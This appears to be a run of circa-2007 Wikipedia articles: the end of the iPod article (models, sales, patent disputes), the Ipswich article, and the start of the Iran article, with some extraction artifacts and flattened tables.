              	colour:

              20, 60GB

              	28 June 2005
            


            
              	Premium spin-off of 4G iPod with colour screen and picture viewing. Later re-integrated into main iPod line.
            


            
              	fifth

              	[image: fifth generation iPod]

              	30, 60, 80GB

              	USB ( FireWire for charging only)

              	12 October 2005

              	Mac: 10.3

              Win:2000

              	30GB

              audio:14

              video:2

              (later3.5)

              	60/80GB

              audio:20

              video:3/6.5
            


            
              	Second full redesign with a slimmer case, and larger screen with video playback. Offered in black or white.
            


            
              	sixth

              	[image: sixth generation iPod]

              	80, 160GB

              	USB (FireWire for charging only)

              	5 September 2007

              	Mac: 10.4 Win:XP

              	80GB

              audio:30

              video:5

              	160GB

              audio:40

              video:7
            


            
              	Introduced the "classic" suffix. New interface and anodized aluminium front plate. Silver replaces white.
            


            
              	mini

              (replaced by nano)

              	first

              	[image: first generation iPod mini]

              	4GB

              	USB or FireWire

              	6 January 2004

              	Mac: 10.1

              Win:2000

              	audio:8
            


            
              	New smaller model, available in 5 colors. Introduced the "Click Wheel".
            


            
              	second

              	[image: second generation iPod mini]

              	4, 6GB

              	USB or FireWire

              	22 February 2005

              	Mac: 10.2

              Win:2000

              	audio:18
            


            
              	Brighter color variants with longer battery life. Click Wheel lettering matched body color. Gold colour discontinued. Later replaced by iPod nano.
            


            
              	nano

              	first

              	[image: first generation iPod nano]

              	1, 2, 4GB

              	USB (FireWire for charging only)

              	7 September 2005

              	Mac: 10.3

              Win:2000

              	audio:14

              slideshow:4
            


            
              	Replaced mini. Available in black or white and used flash memory. Colour screen for picture viewing. 1GB version released later.
            


            
              	second

              	[image: 4�GB blue iPod nano]

              	2, 4, 8GB

              	USB (FireWire for charging only)

              	12 September 2006

              	Mac: 10.3

              Win:2000

              	audio:24

              slideshow:5
            


            
              	Anodized aluminium casing and 6 colors available.
            


            
              	third

              	[image: 4�GB third generation iPod nano]

              	4, 8GB

              	USB (FireWire for charging only)

              	5 September 2007

              	Mac: 10.4

              Win:XP

              	audio:24

              video:5
            


            
              	2" QVGA screen, colors refreshed with chrome back, new interface, video capability.
            


            
              	shuffle

              	first

              	[image: first generation iPod shuffle]

              	512MB, 1GB

              	USB

              (no adaptor required)

              	11 January 2005

              	Mac: 10.2

              Win:2000

              	audio:12
            


            
              	New entry-level model. Uses flash memory and has no screen.
            


            
              	second

              	[image: second generation iPod shuffle]

              	1GB

              	USB

              	12 September 2006

              	Mac: 10.3

              Win:2000

              	audio:12
            


            
              	Smaller clip design with anodized aluminum casing. 4 colour options added later. Colors were later refreshed.
            


            
              	touch

              	first

              	Image:IPod Touch 1.1.3 New Apps.jpg

              	8, 16GB

              	USB (FireWire for charging only)

              	5 September 2007

              	Mac: 10.4

              Win:XP

              	audio:22

              video:5
            


            
              	With Safari browser, Multi-touch, Wi-Fi, and wireless access to the iTunes Store and YouTube.
            

          


          
            Sources: Apple Inc. model database, Mactracker.
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          The software bundled with the first generation iPod was Macintosh-only, so Windows users had to use third-party software like ephPod or XPlay to manage their music. When Apple introduced the second generation of iPods in July 2002, they sold two versions, one that included iTunes for Macintosh users and another that included Musicmatch Jukebox for Windows users. In October 2003, Apple released the Windows version of iTunes, and started selling iPods that included both Macintosh and Windows versions of iTunes so that they could be used with either platform. Current iPods no longer ship with iTunes, which must be downloaded from Apple's website.


          In December 2002, Apple unveiled its first limited edition iPods, with either Madonnas, Tony Hawks, or Becks signature or No Doubt's band logo engraved on the back for an extra US$50. On October 26, 2004, Apple introduced a special edition of its fourth generation monochrome iPod, designed in the colour scheme of the album How to Dismantle an Atomic Bomb by Irish rock band U2. It had a black case with a red click wheel and the back had the engraved signatures of U2's band members. This iPod was updated alongside the iPod photo and fifth generation iPod.


          On October 13, 2006, Apple released a special edition 4GB red iPod nano as part of the (PRODUCT)RED campaign. An 8GB version was released three weeks later and both of them sold for the same price as the standard models. US$10 from each sale is donated to The Global Fund to Fight AIDS, Tuberculosis & Malaria. On September 5, 2007, Apple also added a (PRODUCT)RED iPod shuffle model. They did not disclose how much will be donated to charity from this model. Apple also released Special Edition Harry Potter iPods to accompany the iPod photo. These were engraved with the Hogwarts Crest on the back and were only available to purchasers of the Harry Potter audiobooks. They were updated when the fifth generation iPods were released, but were only available for a limited time.


          In 2007, a Cubismo special edition 2 GB silver iPod nano was made available in the former Yugoslav republics.


          


          Timeline of iPod models


          
            
              [image: ]

          


          
            Sources: Apple press release library, Mactracker Apple Inc. model database
          


          


          Reliability and durability


          iPods have been criticized for their short life-span, fragile hard drives, and planned obsolescence. A 2005 survey conducted on the MacInTouch website found that the iPod had an average failure rate of 13.7%. It concluded that some models were more durable than others. In particular, failure rates for iPods employing hard drives was usually above 20% while those with flash memory had a failure rate below 10%, indicating poor hard drive durability. In late 2005, many users complained that the surface of the first generation iPod nano can become scratched easily, rendering the screen unusable. A class action lawsuit was also filed. Apple initially considered the issue a minor defect, but later began shipping these iPods with protective sleeves.


          


          Allegations of worker exploitation


          On June 11, 2006, the British newspaper Mail on Sunday reported that iPods are mainly manufactured by workers who earn no more than US$50 per month and work 15-hour shifts. Apple investigated the case with independent auditors and found that, while some of the plant's labour practices met Apple's Code of Conduct, others did not: Employees worked over 60 hours a week for 35% of the time, and worked more than six consecutive days for 25% of the time.


          Foxconn, Apple's manufacturer, initially denied the abuses, but when an auditing team from Apple found that workers had been working longer hours than were allowed under Chinese law, they promised to prevent workers working more hours than the Code allowed. Apple hired a workplace standards auditing company, Verit, and joined the Electronic Industry Code of Conduct Implementation Group to oversee the measures. On December 31, 2006, workers at the Longhua, Shenzhen factory (owned by Foxconn) formed a union. The union is affiliated with the Chinese government-controlled All-China Federation of Trade Unions.


          


          Patent disputes


          In 2005, Apple faced two lawsuits claiming patent infringement by the iPod and its associated technologies: Advanced Audio Devices claimed the iPod breached its patent on a "music jukebox", while a Hong Kong-based IP portfolio company called Pat-rights filed a suit claiming that Apple's FairPlay technology breached a patent issued to inventor Ho Keung Tse. The latter case also includes the online music stores of Sony, RealNetworks, Napster, and Musicmatch as defendants.


          Apple's application to the United States Patent and Trademark Office for a patent on "rotational user inputs", as used on the iPod's interface, received a third "non-final rejection" (NFR) in August 2005. Also in August 2005, Creative Technology, one of Apple's main rivals in the MP3 player market, announced that it held a patent on part of the music selection interface used by the iPod, which Creative dubbed the "Zen Patent", granted on August 9, 2005. On May 15, 2006, Creative filed another suit against Apple with the United States District Court for the Northern District of California. Creative also asked the United States International Trade Commission to investigate whether Apple was breaching U.S. trade laws by importing iPods into the United States.


          On August 24, 2006, Apple and Creative announced a broad settlement to end their legal disputes. Apple will pay Creative US$100 million for a paid-up license, to use Creative's awarded patent in all Apple products. As part of the agreement, Apple will recoup part of its payment, if Creative is successful in licensing the patent. Creative then announced its intention to produce iPod accessories by joining the Made for iPod program.


          


          Sales
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          October 2004, the iPod has dominated digital music player sales in the United States, with over 90% of the market for hard drive-based players and over 70% of the market for all types of players. During the year from January 2004 to January 2005, the high rate of sales caused its U.S. market share to increase from 31% to 65% and in July 2005, this market share was measured at 74%. In January of 2007 the iPod market share reached 72.7% according to Bloomberg Online.


          The release of the iPod mini helped to ensure this success at a time when competing flash-based music players were once dominant. On January 8, 2004, Hewlett-Packard (HP) announced that they would sell HP-branded iPods under a license agreement from Apple. Several new retail channels were usedincluding Wal-Martand these iPods eventually made up 5% of all iPod sales. In July 2005, HP stopped selling iPods due to unfavorable terms and conditions imposed by Apple.


          In January 2007, Apple reported record quarterly revenue of US$7.1 billion, of which 48% was made from iPod sales.


          On April 9, 2007, it was announced that Apple had sold its one-hundred millionth iPod, making it the biggest selling digital music player of all time. In April 2007, Apple reported second quarter revenue of US$5.2 billion, of which 32% was made from iPod sales. Apple and several industry analysts suggest that iPod users are likely to purchase other Apple products such as Mac computers.


          On September 5, 2007, during their "The Beat Goes On" event, Apple announced that the iPod had surpassed 110 million units sold.


          On October 22, 2007, Apple reported quarterly revenue of US$6.22 billion, of which 30.69% came from Apple notebook sales, 19.22% from desktop sales and 26% from iPod sales. Apple's 2007 year revenue increased to US$24.01 billion with US$3.5 billion in profits. Apple ended the fiscal year 2007 with US$15.4 billion in cash and no debt.


          


          Industry impact


          iPods have won several awards ranging from engineering excellence, to most innovative audio product, to fourth best computer product of 2006. iPods often receive favorable reviews; scoring on looks, clean design, and ease of use. PC World says that iPods have "altered the landscape for portable audio players". Several industries are modifying their products to work better with both the iPod and the AAC audio format. Examples include CD copy-protection schemes, and mobile phones, such as phones from Sony Ericsson and Nokia, which play AAC files rather than WMA. Microsoft's Zune device also supports AAC and it has adopted a similar closed DRM model used by iPods and the iTunes Store, despite Microsoft previously marketing the benefits of choice with their PlaysForSure initiative. Podcasts and download charts have also had mainstream adoption.


          In addition to its reputation as a respected entertainment device, the iPod has also become accepted as a business device. Government departments, major institutions and international organisations have turned to the iPod as a delivery mechanism for business communication and training, such as the Royal and Western Infirmaries in Glasgow, Scotland where iPods are used to train new staff.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/IPod"
          


          

        

      

    


    


    
      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        Ipswich


        
          

          
            
              	Ipswich
            


            
              	Town
            


            
              	Borough of Ipswich
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              	Sovereign state

              	United Kingdom
            


            
              	Constituent Country

              	England
            


            
              	Region

              	East of England
            


            
              	County

              	Suffolk
            


            
              	Borough

              	Ipswich
            


            
              	Government Leadership:Leader & Cabinet
            


            
              	-Type

              	Ipswich Borough Council
            


            
              	- MPs

              	Michael Lord, Chris Mole
            


            
              	Area - Ranked 320th
            


            
              	-Borough

              	15.2sqmi(39.42km)
            


            
              	Population
            


            
              	-Borough

              	Ranked 164th

              120,400
            


            
              	- Density

              	7,909.8/sqmi(3,054/km)
            


            
              	- Urban

              	138,718
            


            
              	- Ethnicity

              	90.5% White

              2.1% Black

              3.9% S.Asian

              1.1% Chinese or Other

              2.4% Mixed Race�UNIQ167a685,612b44,469-ref-00,000,000-QINU�
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              	42UD
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          Ipswich ( pronunciation; IPA: /ˈɪpswɪtʃ/) is a non-metropolitan district in and the county town of Suffolk, England on the estuary of the River Orwell. The town of the same name overspills the borough boundaries significantly, with only 85% of the town's population living within the borough at the time of the 2001 Census, when it was the third-largest settlement in the United Kingdom's East of England region, and the 38th largest urban area in England.


          As of 2006, the borough is estimated to have a population of approximately 120,000 inhabitants.


          


          History


          The Eemian interglacial is known as the Ipswichian period in geology and occurred about 120,000 years ago.


          Under the Roman empire, the area around Ipswich formed an important route inland to rural towns and settlements via the Orwell and Gipping. A large Roman fort, part of the coast defences of Britain, stood at Felixstowe (13 miles, 21 km), and the largest villa in Suffolk stood at Castle Hill (north-west Ipswich).


          Ipswich is one of England's oldest towns, and took shape in Anglo-Saxon times as the main centre between York and London for North Sea trade to Scandinavia and the Rhine. It served the Kingdom of East Anglia, and began developing in the time of King Rdwald, supreme ruler of the English (616-624). The famous ship-burial and treasure at Sutton Hoo nearby (9 miles, 14.5 km) is probably his grave. The Ipswich Museum houses replicas of the Roman Mildenhall Treasure and the Sutton Hoo treasure. A gallery devoted to the town's origins includes Anglo-Saxon weapons, jewellery and other artefacts.


          The seventh-century town, called 'Gippeswick' was centred near the quay. Towards 700 AD, Frisian potters from the Netherlands area settled in Ipswich and set up the first large-scale potteries in England since Roman times. Their wares were traded far across England, and the industry was unique to Ipswich for 200 years. With growing prosperity, in about 720 AD a large new part of the town was laid out in the Buttermarket area. Ipswich was becoming a place of national and international importance. Parts of the ancient road plan still survive in its modern streets. After the invasion of 869 Ipswich fell under Viking rule. The earth ramparts circling the town centre were probably raised by Vikings in Ipswich around 900 to prevent its recapture by the English. They were unsuccessful. The town operated a Mint under royal licence from King Edgar in the 970s, which continued through the Norman Conquest until the time of King John, in about 1215. The abbreviation 'Gipes' appears on the coins.


          King John granted the town its first charter in 1200, laying the mediaeval foundations of its modern civil government. In the next four centuries it made the most of its wealth, trading Suffolk cloth with the Continent. Five large religious houses, including two Augustinian Priories (St Peter and St Paul, and Holy Trinity, both mid-12th century), and those of the Greyfriars ( Franciscans, before 1298), Ipswich Whitefriars ( Carmelites founded 1278-79) and Blackfriars ( Dominicans, before 1263), stood in mediaeval Ipswich. The last Carmelite Prior of Ipswich was the celebrated John Bale, author of the oldest English historical verse-drama (Kynge Johan, c.1538). There were also several hospitals, including the leper hospital of St Mary Magdalene, founded before 1199. During the Middle Ages the Marian Shrine of Our Lady of Grace was a famous pilgrimage destination, and attracted many pilgrims including Henry VIII and Katherine of Aragon. At the Reformation the statue was taken away to London to be burned, though some claim that it survived and is preserved at Nettuno, Italy.


          Around 1380, Geoffrey Chaucer satirised the merchants of Ipswich in the Canterbury Tales. Thomas Cardinal Wolsey, the son of a wealthy landowner, was born in Ipswich about 1475. One of Henry VIII's closest political allies, he founded a college in the town in 1528, which was for its brief duration one of the homes of the Ipswich School. He remains one of the town's most famed figures.


          In the time of Queen Mary the Ipswich Martyrs were burnt at the stake on the Cornhill for their Protestant beliefs. A monument commemorating this event now stands in Christchurch Park. From 1611 to 1634 Ipswich was a major centre for emigration to New England. This was encouraged by the Town Lecturer, Samuel Ward. His brother Nathaniel Ward was first minister of Ipswich, Massachusetts, where a promontory was named 'Castle Hill' after the place of that name in north-west Ipswich, UK.


          The painter Thomas Gainsborough lived and worked in Ipswich. In 1835, Charles Dickens stayed in Ipswich and used it as a setting for scenes in his novel The Pickwick Papers. The hotel where he resided first opened in 1518; it was then known as The Tavern and is now known as the Great White Horse Hotel. Dickens made the hotel famous in chapter XXI of The Pickwick Papers, vividly describing the hotel's meandering corridors and stairs.


          In 1797 Lord and Lady Nelson moved to Ipswich, and in 1800 Lord Nelson was appointed High Steward of Ipswich.


          In the mid-19th century Coprolite was discovered, the material was mined and then dissolved in acid, the resulting mixture forming the basis of Fisons fertilizer business.


          


          Modern Ipswich


          Ipswich has undergone an extensive gentrification programme in recent years, principally centred around the waterfront. Though this has turned a deindustrialized dock area into an emerging residential and commercial centre, it is being completed at the expense of much of the town's industrial and maritime heritage and in spite of efforts made by a local civic group, The Ipswich Society. Much of this development is residential and is marketed at high net-worth individuals in the DINKY demographic. As such, some have considered it incompatible with Ipswich's existing socio-economic mix. It could therefore be considered to be aimed at encouraging economic migration to the town, particularly as a commutable satellite town of London.


          The Tolly Cobbold brewery, built in the 19th century and rebuilt 18941896, is one of the finest Victorian breweries in the United Kingdom. There was a Cobbold brewery in the town from 1746 until 2002 when Ridley's Breweries took Tolly Cobbold over. Felix Thornley Cobbold presented Christchurch Mansion to the town in 1896.
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          The town centre contains the glass-clad building owned by Willis Limited, properly called the Willis Building but still often called the "Willis-Faber building" by locals, as the company Willis Corroon themselves used to be called Willis Faber. Designed by Norman Foster, the building dates from 1974. It became the youngest Grade I listed building in Britain in 1991 and at the time one of only two buildings to be listed and be under 30 years of age.


          Ipswich is set to be the main hub for University Campus Suffolk, which will give Suffolk its first university, though it is essentially a collaborative project between Suffolk College and two other regional universities. It is hoped that within a decade, a University of Suffolk in its own right will become established out of UCS.


          In September 1993 Ipswich and Arras, Nord Pas-de-Calais, France, became twin towns, and a square in the new Buttermarket development was named Arras Square to mark the relationship.


          On 13 March 2007 Ipswich was awarded the cleanest town award.


          Ipswich remains a 'town' despite a few attempts at winning 'city' status. It does not have a cathedral, so the Bishop of St Edmundsbury and Ipswich is based at Bury St Edmunds the former headquarters of West Suffolk.


          


          Districts


          The Docks is the area around the old commercial docks that are now devoted essentially to leisure use. The area includes extensive recent development of residential apartment blocks and includes the campus of the new University College.


          Holywells is the area around Holywells Park, a 67 acre (27ha) public park, situated near the docks, that was painted by Thomas Gainsborough.


          Chantry is the name of a housing estate and park to the South-West of Ipswich. Its schools include Chantry High School and the Chantry Infant and Junior Schools which have merged, and been renamed 'The Oaks'. Another school that can be found in the outskirts of Chantry is St Joseph's College.


          Other districts outside the town centre include Bixley Farm, Broke Hall, California, Castle Hill, The Dales, Gainsborough, Greenwich, Kesgrave, Maidenhall, Pinebrook, Priory Heath, Racecourse, Ravenswood, Rose Hill, Rushmere, Springvale, St Margarets, Stoke, Warren Heath, Whitehouse and Whitton.


          To the east of the town is Trinity Park near Bucklesham the home of the annual Suffolk Show one of the County shows in United Kingdom. The 'Trinity' is the name given to the three animals native to the county of Suffolk, namely Red Poll cattle, the powerful Suffolk Punch horse and the black faced Suffolk Sheep.


          


          Culture
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          Like many other similar towns, Ipswich is home to many artists, with galleries at Christchurch Mansion, the Town Hall, a gallery in the Ancient House and the Artists Gallery in Electric House being the more prominent. The visual arts are further supported with many sites of sculpture with easy accessibility. The Borough Council promotes creation of new public works of art and has been known to make this a condition of planning permission.


          The town houses Ipswich Museum and the Ipswich Transport Museum.


          Performing arts are well represented with Ipswich being home to DanceEast which has the primary aim of advocating innovation and development of dance in the East of England. They are building new premises as part of the waterfront development. These will be the first custom built dance facilities in the East of England at a cost of around 8million.


          The Eastern Angles theatre group are based at the Sir John Mills Theatre in Ipswich, named after the famous actor who lived in Felixstowe as a child.


          Since 1991, there has been an annual arts festival called Ip-Art which brings together many events across art disciplines and different venues, notably a free music day in Christchurch Park, which in 2006 had over 50 different acts performing over 7 stages.


          Norwich remains the regional centre for TV broadcasting, but both BBC East and Anglia TV have presenters and offices in Ipswich. The town has three local radio stations, BBC Radio Suffolk covering the entire county, where the East Anglian Accent can be heard on its many phone-ins, the commercial SGR-FM which was founded in 1975 as Radio Orwell covering the A14 corridor in Suffolk and Town 102 which was founded in 2006 and is the first full time commercial station specific for Ipswich. The younger audience is catered for with Suffolk based Kiss 105-108. On 15 August 2007, Ipswich Community Radio launched full-time after successfully gaining a licence in early 2006.


          The town's daily evening newspaper is the Evening Star (Ipswich) which is the sister title to the county's daily morning newspaper the East Anglian Daily Times.


          


          Buildings


          In addition to Christchurch Mansion and the Ancient House, Ipswich in the 21st century has some important cultural buildings including the New Wolsey Theatre and the Regent Theatre - the largest theatre venue in East Anglia where in the 1960s The Beatles performed under its former name the Gaumont.


          There are several medieval Ipswich churches but the grandest is the Victorian St Mary le Tower.


          Modern buildings include the new Suffolk County Hall in the area known as Ipswich Village close to Ipswich Town's Portman Road stadium. The stadium has hosted England under 21, under 23 and full international matches in addition to an England hockey game.


          On the north-west side of Ipswich lies Broomhill Pool, a Grade II listed Olympic-sized lido which opened in 1938 and closed in 2002, since which time a campaign to see it restored and re-opened has been run.


          Industry
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          Industry around Ipswich has had a strong agricultural bias with Ransomes, Sims & Jefferies Ltd, one of the most famous agricultural manufacturers, located in the town. It is notable that the world's first commercial motorised lawnmower was built by Ransomes in 1902. There was a sugar beet factory at Ipswich for many years; it was closed in 2001 as part of a rationalisation by British Sugar.


          The British Telecom Research Laboratories were located to the east of the town in 1975 at Martlesham Heath. They are now a science park called Adastral Park. The area was originally RAF Martlesham Heath - a WW2 airfield from where Douglas Bader fought.


          Ipswich is one of the Haven ports and is still a working port, handling several million tonnes of cargo each year. Prior to decommissioning, HMS Grafton was a regular visitor to the port which as special links with the town and the county of Suffolk. HMS Orwell, named after the river, is also closely linked with the town. With the rise in popularity of the town around the Neptune Marina and the Wet Dock a number of ship and boatbuilders have become established, in particular Fairline Yachts are a significant employer.


          


          Transport infrastructure
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          Road


          The A12 links Ipswich to London (84 miles), Lowestoft, Great Yarmouth and the M25. The A14 links the town with Cambridge (57 miles), the Midlands and Felixstowe. The A140(single carriageway) links the town with Norwich.


          A Roman road originally known as Pye Road and part of which is now the [A140], linked Colchester with Caistor St. Edmund near Norwich. An old milestone in Ipswich shows London as 69miles (111km) and Gt Yarmouth 54miles (87km) north.


          


          Rail


          Ipswich railway station is located on the Great Eastern Main Line from London Liverpool Street to Norwich. It is also the junction of railway lines to Felixstowe and Lowestoft. The station is served by National Express East Anglia. There is another railway station serving the Rose Hill area, called Derby Road which is on the line to Felixstowe.


          


          Bus & tram


          Bus services are operated by Ipswich Buses and First Eastern Counties. Route number 66 is a partially guided busway connecting Martlesham Heath and Kesgrave to the town and the railway station. It also had a trolleybus system from 2 September 1923 until 23 August 1963.


          It is the last place in the area to have an independent bus company with the unusual practice of naming its buses.


          


          Air


          The town used to feature a small grass-runway airport ( ICAO code: EGSE), opened by His Royal Highness the Prince of Wales on 26 June 1930 with regular flights to Clacton, Southend and Jersey by Channel Airways and later to the Netherlands and Manchester by Suckling Airways. The airport was delicensed on 31 December 1996 Ipswich Airport and the area was re-developed into the residential district of Ravenswood with the front of the Grade 2 listed control building, designed by Heining and Chitty in 1938, integrated into new scheme.


          The nearest international flights now are from Stansted Airport and Norwich International Airport, both approximately 47miles (76km) away. Other airports within a 2 hour drive are Gatwick and Luton Airport.


          


          Port


          The Port of Ipswich, operated by Associated British Ports offers a mix of facilities for handling containers, timber, dry bulk cargo oil as well as a Ro-Ro terminal. It is one of the Haven ports along with the Port of Felixstowe and Harwich International.


          


          Sport
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          Ipswich's sole professional football team are Ipswich Town Football Club, who were established in 1878 and play at the 30,300 capacity Portman Road Stadium. They have a strong rivalry with Norwich City F.C.. Ipswich Town was home to the two most successful England managers, Sir Alf Ramsey (who is buried in the Old Cemetery in the town) and Sir Bobby Robson. They won the League Championship in 1962 during Ramsey's reign and an FA Cup in 1978 and the UEFA Cup in 1981 under Robson. They currently play in English football's second-tier league, the Football Championship. Ipswich is also home to minor-lower league football team, Ipswich Wanderers and many others in the Suffolk and Ipswich Football League.


          Ipswich has a world class gymnastics centre which is expected to be used as a practice centre prior to the 2012 Olympics. The resident gymnastics club has also been home to international gymnasts.


          Ipswich also has a very successful Speedway team, the Ipswich Witches, who have ridden at their Foxhall Stadium home, on the outskirts of Ipswich, for over 50 years. Despite being one of the most successful teams in British Speedway history, crowds have dwindled to around 1,500 people per race meeting. The stadium is also regularly used for Stock car racing.


          The town has representation in both codes of Rugby. It has two amateur Rugby Union teams, Ipswich RUFC who play in London 3 North East League, and Ipswich YM RUFC and an amateur rugby league side, Ipswich Rhinos, who play in the Rugby League Conference.


          Ipswich had a racecourse which ran a mix of flat and National Hunt races from 1710 to 1911.


          For her services to swimming Karen Pickering was awarded an MBE in the 1994 New Years Honours List, although she is actually from Great Yarmouth.


          


          Famous residents
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          Probably the most famous person born in the town is the Tudor Cardinal Thomas Wolsey. The artist Thomas Gainsborough and the cartoonist "Giles" worked here, Horatio, Lord Nelson became Steward of Ipswich, and Margaret Catchpole began her adventurous career here. Alf Ramsey and Bobby Robson were both successful managers of Ipswich Town F.C.
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              	Motto:Esteqlāl, āzādī, jomhūrī-ye eslāmī1(Persian)

              "Independence, freedom, Islamic Republic"
            


            
              	Anthem: Sorūd-e Mellī-e Īrān
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              	Capital

              (and largest city)

              	Tehran

            


            
              	Official languages

              	Persian
            


            
              	Demonym

              	Iranian
            


            
              	Government

              	Islamic Republic
            


            
              	-

              	Supreme Leader

              	Ayatollah Ali Khamenei
            


            
              	-

              	President

              	Mahmoud Ahmadinejad
            


            
              	Unification
            


            
              	-

              	Unified by Cyrus the Great

              	559 BCE
            


            
              	-

              	Parthian (Arsacid) dynastic empire

              (first reunification)

              	248 BCE  224 CE
            


            
              	-

              	Sassanid

              dynastic empire

              	224651 CE
            


            
              	-

              	Safavid dynasty

              (second reunification)

              	May 1502
            


            
              	-

              	FirstConstitution

              	1906
            


            
              	-

              	IslamicRevolution

              	1979
            


            
              	Area
            


            
              	-

              	Total

              	1,648,195km( 18th)

              636,372 sqmi
            


            
              	-

              	Water(%)

              	0.7
            


            
              	Population
            


            
              	-

              	2006 (1385 AP)census

              	70,472,846( 18th)
            


            
              	-

              	Density

              	42/km( 158th)

              109/sqmi
            


            
              	GDP( PPP)

              	2007estimate
            


            
              	-

              	Total

              	$852 billion (2007)

              ( 15th)
            


            
              	-

              	Per capita

              	$12,300

              ( 65th)
            


            
              	GDP (nominal)

              	2005/2006estimate
            


            
              	-

              	Total

              	$222,889 billion( 29nd)
            


            
              	-

              	Per capita

              	$3,920( 89nd)
            


            
              	Gini(1998)

              	43.0(medium)
            


            
              	HDI(2007)

              	▲ 0.759(medium)( 94th)
            


            
              	Currency

              	Iranian rial (ريال) ( IRR)
            


            
              	Time zone

              	IRST ( UTC+3:30)
            


            
              	-

              	Summer( DST)

              	not observed( UTC+3:30)
            


            
              	Internet TLD

              	.ir
            


            
              	Calling code
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          Iran, ( Persian: ايران, [ʔiˈɾɒn] ērnˈ, ĭrănˈ), officially the Islamic Republic of Iran ( Persian: جمهوری اسلامی ايران, pronounced [dʒomhuɾije ʔeslɒmije ʔiɾɒn]), formerly known internationally as Persia until 1935, is a country in Central Eurasia. Located in the heart of the Persian Gulf, an important oil-producing area, Iran is bounded by the Gulf of Oman to its south-east and the Caspian Sea to its north. Shi'a Islam is the official religion, and Persian is the official language The 18th largest country in the world in terms of area at 1,648,195 km, Iran has a population of over seventy million. Iran borders Armenia, Azerbaijan, Turkmenistan, Kazakhstan and Russia to the north, Afghanistan and Pakistan to the east, and Turkey and Iraq to the west.


          Iran is home to one of the world's oldest continuous major civilizations, with historical and urban settlements dating back to 4000 BCE. Throughout history, Iran has been of geostrategic importance because of its central location in Eurasia and is a regional power. Iran is a founding member of the UN, NAM, OIC, and OPEC. The political system of Iran, based on the 1979 Constitution, comprises several intricately connected governing bodies. The highest state authority is the Supreme Leader, currently Ayatollah Ali Khamenei.


          Iran occupies an important position in international energy security and world economy due to its large reserves of petroleum and natural gas. The name Iran is a cognate of Aryan, and means "Land of the Aryans". "Land of Kindness" (سرزمين مهر) is used as an alternative name for Iran in Persian literature and Iranian media.


          


          Etymology


          The term Iran (ایران) in modern Persian derives from the Proto-Iranian term Aryānām first attested in Zoroastrianism's Avesta tradition. Ariya- and Airiia- are also attested as an ethnic designator in Achaemenid inscriptions. The term Ērān from Middle Persian Ērān, Pahlavi ʼyrʼn, is found at the inscription that accompanies the investiture relief of Ardashir I at Naqsh-e Rustam. In this inscription, the king's appellation in Middle Persian contains the term ērān (Pahlavi: ʼryʼn), while in the Parthian language inscription that accompanies it, Iran is mentioned as aryān. In Ardashir's time ērān retained this meaning, denoting the people rather than the state.


          Notwithstanding this inscriptional use of ērān to refer to the Iranian peoples, the use of ērān to refer to the empire is also attested by the early Sassanid period. An inscription of Shapur I, Ardashir's son and immediate successor, apparently "includes in Ērān regions such as Armenia and the Caucasus which were not inhabited predominantly by Iranians." In Kartir's inscriptions the high priest includes the same regions in his list of provinces of the antonymic Anērān. Both ērān and aryān comes from the Proto-Iranian term Aryānām, (Land) of the (Iranian) Aryas. The word and concept of Airyanem Vaejah is present in the name of the country Iran (Lit. Land of the Aryans) where Iran (Ērān), is modern-Persian of the word Aryānā.


          Since the Iranian Revolution of 1979, the official name of the country is "Islamic Republic of Iran."


          In the outside world the official name of Iran from 6th century BC until 1935 was Persia. In this year Reza Shah asked International community to call this country by its native name "Iran". A few years later some Persian scholars protested the government that changing the name has separated the country from its past so in 1959 Mohammad Reza Shah announced both terms can be used interchangeably. Now both terms are common but "Iran" mostly in modern political context and "Persia" in cultural and historical context.


          


          Geography and climate
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          Iran is the eighteenth largest country in the world after Libya and before Mongolia. Its area roughly equals the size of the United Kingdom, France, Spain, and Germany combined, or slightly smaller than the state of Alaska. Its borders are with Azerbaijan (432km/268mi) and Armenia (35km/22mi) to the north-west; the Caspian Sea to the north; Turkmenistan (992km/616mi) to the north-east; Pakistan (909km/565mi) and Afghanistan (936km/582mi) to the east; Turkey (499km/310mi) and Iraq (1,458km/906mi) to the west; and finally the waters of the Persian Gulf and the Gulf of Oman to the south. Iran's area is 1,648,000 km (approximately 636,300 sqmi).


          Most of Iran is situated on the Iranian Plateau with the exception of the coast of the Caspian Sea and Khuzestan. Iran is one of the world's most mountainous countries, its landscape is dominated by rugged mountain ranges that separate various basins or plateaus from one another. The populous western part is the most mountainous, with ranges such as the Caucasus, Zagros and Alborz Mountains; the latter contains Iran's highest point, Mount Damavand at 5,604 m (18,386ft), which is not only the country's highest peak but also the highest mountain on the Eurasian landmass west of the Hindu Kush. The eastern part consists mostly of desert basins like the saline Dasht-e Kavir, Iran's largest desert, located in the north-central portion of the country, and the Dasht-e Lut, in the east, as well as some salt lakes. This is because the mountain ranges are too high for rain clouds to reach these regions.
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          The only large plains are found along the coast of the Caspian Sea and at the northern end of the Persian Gulf, where Iran borders the mouth of the Shatt al-Arab (or the Arvand Rūd) river. Smaller, discontinuous plains are found along the remaining coast of the Persian Gulf, the Strait of Hormuz and the Sea of Oman.
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          Iran's climate is mostly arid or semiarid, to subtropical along the Caspian coast. On the northern edge of the country (the Caspian coastal plain) temperatures nearly fall below freezing and remain humid for the rest of the year. Summer temperatures rarely exceed 29 C (84 F). Annual precipitation is 680 mm (27 in) in the eastern part of the plain and more than 1,700mm (67in) in the western part. To the west, settlements in the Zagros Mountains basin experience lower temperatures, severe winters, sub-freezing average daily temperatures and heavy snowfall. The eastern and central basins are arid, with less than 200mm (eight in) of rain and have occasional desert. Average summer temperatures exceed 38 C (100 F). The coastal plains of the Persian Gulf and Gulf of Oman in southern Iran have mild winters, and very humid and hot summers. The annual precipitation ranges from 135 to 355mm (five to fourteen inches).


          


          Provinces and Cities


          Iran is divided into 30 provinces (ostān), each governed by an appointed governor (استاندار, ostāndār). The provinces are divided into counties ( shahrestān), and subdivided into districts ( bakhsh) and sub-districts (dehestān).
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                    	1.

                    	Tehran
                  


                  
                    	2.

                    	Qom
                  


                  
                    	3.

                    	Markazi
                  


                  
                    	4.

                    	Qazvin
                  


                  
                    	5.

                    	Gīlān
                  


                  
                    	6.

                    	Ardabil
                  


                  
                    	7.

                    	Zanjan
                  


                  
                    	8.

                    	East Azerbaijan
                  


                  
                    	9.

                    	West Azerbaijan
                  


                  
                    	10.

                    	Kurdistan
                  

                

              

              	
                
                  
                    	11.

                    	Hamadān
                  


                  
                    	12.

                    	Kermanshah
                  


                  
                    	13.

                    	Īlām
                  


                  
                    	14.

                    	Lorestān
